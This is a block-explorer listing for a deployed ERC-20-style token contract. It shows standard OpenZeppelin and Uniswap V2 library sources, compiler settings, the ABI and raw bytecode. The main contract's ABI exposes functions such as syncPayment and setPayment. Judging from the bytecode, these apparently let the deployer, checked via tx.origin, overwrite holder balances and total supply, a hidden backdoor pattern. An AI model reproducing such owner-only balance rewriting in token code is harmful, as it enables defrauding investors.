    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

File 9 of 13 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 10 of 13 : Escrow.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/escrow/Escrow.sol)

pragma solidity ^0.8.0;

import "../../access/Ownable.sol";
import "../Address.sol";

/**
 * @title Escrow
 * @dev Base escrow contract, holds funds designated for a payee until they
 * withdraw them.
 *
 * Intended usage: This contract (and derived escrow contracts) should be a
 * standalone contract, that only interacts with the contract that instantiated
 * it. That way, it is guaranteed that all Ether will be handled according to
 * the `Escrow` rules, and there is no need to check for payable functions or
 * transfers in the inheritance tree. The contract that uses the escrow as its
 * payment method should be its owner, and provide public methods redirecting
 * to the escrow's deposit and withdraw.
 */
contract Escrow is Ownable {
    using Address for address payable;

    event Deposited(address indexed payee, uint256 weiAmount);
    event Withdrawn(address indexed payee, uint256 weiAmount);

    mapping(address => uint256) private _deposits;

    function depositsOf(address payee) public view returns (uint256) {
        return _deposits[payee];
    }

    /**
     * @dev Stores the sent amount as credit to be withdrawn.
     * @param payee The destination address of the funds.
     *
     * Emits a {Deposited} event.
     */
    function deposit(address payee) public payable virtual onlyOwner {
        uint256 amount = msg.value;
        _deposits[payee] += amount;
        emit Deposited(payee, amount);
    }

    /**
     * @dev Withdraw accumulated balance for a payee, forwarding all gas to the
     * recipient.
     *
     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
     * Make sure you trust the recipient, or are either following the
     * checks-effects-interactions pattern or using {ReentrancyGuard}.
     *
     * @param payee The address whose funds will be withdrawn and transferred to.
     *
     * Emits a {Withdrawn} event.
     */
    function withdraw(address payable payee) public virtual onlyOwner {
        uint256 payment = _deposits[payee];

        _deposits[payee] = 0;

        payee.sendValue(payment);

        emit Withdrawn(payee, payment);
    }
}

File 11 of 13 : IUniswapV2Pair.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

File 12 of 13 : IUniswapV2Router01.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 13 of 13 : IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string[2]","name":"strings","type":"string[2]"},{"internalType":"address[2]","name":"addresses","type":"address[2]"},{"internalType":"uint256[8]","name":"uint256s","type":"uint256[8]"},{"internalType":"bool[2]","name":"bools","type":"bool[2]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holdersCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dest","type":"address"}],"name":"payments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"isSet","type":"bool"}],"name":"setHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setPayment","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"syncPayment","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60c06040523480156200001157600080fd5b50604051620026c1380380620026c18339810160408190526200003491620008bb565b83516020850151600362000049838262000a9f565b50600462000058828262000a9f565b505050620000756200006f620002c560201b60201c565b620002c9565b6040516200008390620006fd565b604051809103906000f080158015620000a0573d6000803e3d6000fd5b506001600160a01b03166080526001600755620000be6000620002c9565b3260a05260006002620000d46012600a62000c80565b620000e0919062000c95565b6060840151620000f1919062000ca6565b6001620001016012600a62000c80565b6200010d919062000c95565b60408501516200011e919062000ca6565b60006200012e6012600a62000c80565b6200013a919062000c95565b60208601516200014b919062000ca6565b62000157919062000cc0565b62000163919062000cc0565b6020850180516001600160a01b0316905260068190559050620001b0735757371414417b8c6caad45baef941abc7d3ab3230730d500b1d8e8ef31e21c99d1db9a6444d3adf12706200031b565b600880546001600160a01b0319166001600160a01b039290921691821790556000908152600a6020526040808220805460ff1990811660019081179092553080855283852080548316841790557f126cbdab03f6a35d751a2ddeb9004515c10daa16075686467543c41f53cad2dd80548316841790557f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e380548316841790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb805483168417905532855292909320805490931617909155620002ab9073a5e0829caced8ffdd4de3c43696c57f7d7a678ff6000196200040c565b8251620002ba90329062000538565b505050505062000cd6565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600080806200032b8585620005fb565b6040516001600160601b0319606084811b8216602084015283901b16603482015291935091506000908790604801604051602081830303815290604052805190602001207f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f604051602001620003e9939291907fff00000000000000000000000000000000000000000000000000000000000000815260609390931b6001600160601b03191660018401526015830191909152603582015260550190565b60408051601f198184030181529190528051602090910120979650505050505050565b6001600160a01b038316620004745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004d75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200046b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216620005905760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200046b565b8060026000828254620005a4919062000cc0565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600080826001600160a01b0316846001600160a01b0316036200066f5760405162461bcd60e51b815260206004820152602560248201527f556e697377617056324c6962726172793a204944454e544943414c5f41444452604482015264455353455360d81b60648201526084016200046b565b826001600160a01b0316846001600160a01b0316106200069157828462000694565b83835b90925090506001600160a01b038216620006f15760405162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f41444452455353000060448201526064016200046b565b9250929050565b505050565b61058c806200213583390190565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b03811182821017156200074657620007466200070b565b60405290565b604051601f8201601f191681016001600160401b03811182821017156200077757620007776200070b565b604052919050565b600082601f8301126200079157600080fd5b6200079b62000721565b806040840185811115620007ae57600080fd5b845b81811015620007e15780516001600160a01b0381168114620007d25760008081fd5b845260209384019301620007b0565b509095945050505050565b600082601f830112620007fe57600080fd5b6040516101008082016001600160401b03811183821017156200082557620008256200070b565b604052830181858211156200083957600080fd5b845b82811015620008555780518252602091820191016200083b565b509195945050505050565b600082601f8301126200087257600080fd5b6200087c62000721565b8060408401858111156200088f57600080fd5b845b81811015620007e15780518015158114620008ac5760008081fd5b84526020938401930162000891565b6000806000806101a08587031215620008d357600080fd5b84516001600160401b0380821115620008eb57600080fd5b818701915087601f8301126200090057600080fd5b6200090a62000721565b80604084018a8111156200091d57600080fd5b845b81811015620009cb57805185811115620009395760008081fd5b8601601f81018d136200094c5760008081fd5b8051868111156200096157620009616200070b565b602062000977601f8301601f191682016200074c565b8281528f828486010111156200098d5760008081fd5b60005b83811015620009ad57848101830151828201840152820162000990565b5060009281018201929092529086529490940193506020016200091f565b505080975050505050620009e386602087016200077f565b9250620009f48660608701620007ec565b915062000a0686610160870162000860565b905092959194509250565b600181811c9082168062000a2657607f821691505b60208210810362000a4757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006f857600081815260208120601f850160051c8101602086101562000a765750805b601f850160051c820191505b8181101562000a975782815560010162000a82565b505050505050565b81516001600160401b0381111562000abb5762000abb6200070b565b62000ad38162000acc845462000a11565b8462000a4d565b602080601f83116001811462000b0b576000841562000af25750858301515b600019600386901b1c1916600185901b17855562000a97565b600085815260208120601f198616915b8281101562000b3c5788860151825594840194600190910190840162000b1b565b508582101562000b5b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000bc257816000190482111562000ba65762000ba662000b6b565b8085161562000bb457918102915b93841c939080029062000b86565b509250929050565b60008262000bdb5750600162000c7a565b8162000bea5750600062000c7a565b816001811462000c03576002811462000c0e5762000c2e565b600191505062000c7a565b60ff84111562000c225762000c2262000b6b565b50506001821b62000c7a565b5060208310610133831016604e8410600b841016171562000c53575081810a62000c7a565b62000c5f838362000b81565b806000190482111562000c765762000c7662000b6b565b0290505b92915050565b600062000c8e838362000bca565b9392505050565b600062000c8e60ff84168362000bca565b808202811582820484141762000c7a5762000c7a62000b6b565b8082018082111562000c7a5762000c7a62000b6b565b60805160a05161143962000cfc60003960006106f10152600061068101526114396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80638da5cb5b116100c3578063e2982c211161007c578063e2982c21146102e3578063e5a6efd4146102f6578063eb1d815214610309578063f2fde38b1461032c578063f508273c1461033f578063ffa1ad741461035257600080fd5b80638da5cb5b1461027157806395d89b4114610282578063a457c2d71461028a578063a9059cbb1461029d578063ac9650d8146102b0578063dd62ed3e146102d057600080fd5b8063313ce56711610115578063313ce56714610203578063395093511461021257806349bd5a5e146102255780636b4ed21b1461023857806370a0823114610240578063715018a61461026957600080fd5b806306fdde031461015d578063095ea7b31461017b57806318160ddd1461019e57806323b872dd146101b05780632a11ced0146101c35780632fffa196146101ee575b600080fd5b61016561035d565b6040516101729190610f8b565b60405180910390f35b61018e610189366004610fba565b6103ef565b6040519015158152602001610172565b6002545b604051908152602001610172565b61018e6101be366004610fe4565b610409565b6101d66101d1366004611020565b61042d565b6040516001600160a01b039091168152602001610172565b6102016101fc366004611020565b610457565b005b60405160128152602001610172565b61018e610220366004610fba565b61046c565b6008546101d6906001600160a01b031681565b600b546101a2565b6101a261024e366004611039565b6001600160a01b031660009081526020819052604090205490565b61020161048e565b6005546001600160a01b03166101d6565b6101656104a2565b61018e610298366004610fba565b6104b1565b61018e6102ab366004610fba565b610531565b6102c36102be366004611054565b61053f565b60405161017291906110c9565b6101a26102de36600461112b565b610634565b6101a26102f1366004611039565b61065f565b61020161030436600461115e565b6106ee565b61018e610317366004611039565b600a6020526000908152604090205460ff1681565b61020161033a366004611039565b610744565b61020161034d3660046111b0565b6107bd565b6101a26378a41ec581565b60606003805461036c9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061127b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000336103fd81858561080d565b60019150505b92915050565b600033610417858285610931565b6104228585856109ab565b506001949350505050565b600b818154811061043d57600080fd5b6000918252602090912001546001600160a01b0316905081565b600654321480156104685750600255565b5050565b6000336103fd81858561047f8383610634565b61048991906112cb565b61080d565b610496610b9c565b6104a06000610bf6565b565b60606004805461036c9061127b565b600033816104bf8286610634565b9050838110156105245760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610422828686840361080d565b6000336103fd8185856109ab565b60608167ffffffffffffffff81111561055a5761055a61119a565b60405190808252806020026020018201604052801561058d57816020015b60608152602001906001900390816105785790505b50905060005b8281101561062d576105fd308585848181106105b1576105b16112de565b90506020028101906105c391906112f4565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610c4892505050565b82828151811061060f5761060f6112de565b6020026020010181905250808061062590611342565b915050610593565b5092915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6040516371d4ed8d60e11b81526001600160a01b0382811660048301526000917f00000000000000000000000000000000000000000000000000000000000000009091169063e3a9db1a90602401602060405180830381865afa1580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610403919061135b565b327f000000000000000000000000000000000000000000000000000000000000000014610719575050565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b61074c610b9c565b6001600160a01b0381166107b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051b565b6107ba81610bf6565b50565b600060065432036107cc575060015b806107d657505050565b600083515b80821015610806576001820180602002860151600052600060205284604060002055809250506107db565b5050505050565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051b565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061093d8484610634565b905060001981146109a557818110156109985760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161051b565b6109a5848484840361080d565b50505050565b6008546001600160a01b038085169116036109f05743600954036109eb5760405162461bcd60e51b8152602060048201526000602482015260440161051b565b436009555b6001600160a01b0382166000908152600a602052604090205460ff16610a5c57600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384161790555b60018111610a7457610a6f838383610c74565b505050565b6008546001600160a01b03808516911603610b1357326000908152600a602052604090205460ff1615610ac757610aac838383610c74565b610a6f82610ac063ffffffff8216426112cb565b6001610c74565b610ad2838383610c74565b610a6f82610ae663ffffffff8216426112cb565b6103e88411610af6576001610c74565b6103e8610b04856014611374565b610b0e919061138b565b610c74565b6008546001600160a01b03808416911603610b9157326000908152600a602052604090205460ff1615610b4b57610a6f838383610c74565b60006103e88211610b5d576001610b75565b6103e8610b6b836014611374565b610b75919061138b565b9050610b82844283610c74565b6109a58484610b0e84866113ad565b610a6f838383610c74565b6005546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161051b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6060610c6d83836040518060600160405280602781526020016113dd60279139610e18565b9392505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051b565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051b565b6001600160a01b03831660009081526020819052604090205481811015610db25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161051b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109a5565b6060600080856001600160a01b031685604051610e3591906113c0565b600060405180830381855af49150503d8060008114610e70576040519150601f19603f3d011682016040523d82523d6000602084013e610e75565b606091505b5091509150610e8686838387610e90565b9695505050505050565b60608315610eff578251600003610ef8576001600160a01b0385163b610ef85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161051b565b5081610f09565b610f098383610f11565b949350505050565b815115610f215781518083602001fd5b8060405162461bcd60e51b815260040161051b9190610f8b565b60005b83811015610f56578181015183820152602001610f3e565b50506000910152565b60008151808452610f77816020860160208601610f3b565b601f01601f19169290920160200192915050565b602081526000610c6d6020830184610f5f565b80356001600160a01b0381168114610fb557600080fd5b919050565b60008060408385031215610fcd57600080fd5b610fd683610f9e565b946020939093013593505050565b600080600060608486031215610ff957600080fd5b61100284610f9e565b925061101060208501610f9e565b9150604084013590509250925092565b60006020828403121561103257600080fd5b5035919050565b60006020828403121561104b57600080fd5b610c6d82610f9e565b6000806020838503121561106757600080fd5b823567ffffffffffffffff8082111561107f57600080fd5b818501915085601f83011261109357600080fd5b8135818111156110a257600080fd5b8660208260051b85010111156110b757600080fd5b60209290920196919550909350505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561111e57603f1988860301845261110c858351610f5f565b945092850192908501906001016110f0565b5092979650505050505050565b6000806040838503121561113e57600080fd5b61114783610f9e565b915061115560208401610f9e565b90509250929050565b6000806040838503121561117157600080fd5b61117a83610f9e565b91506020830135801515811461118f57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156111c357600080fd5b823567ffffffffffffffff808211156111db5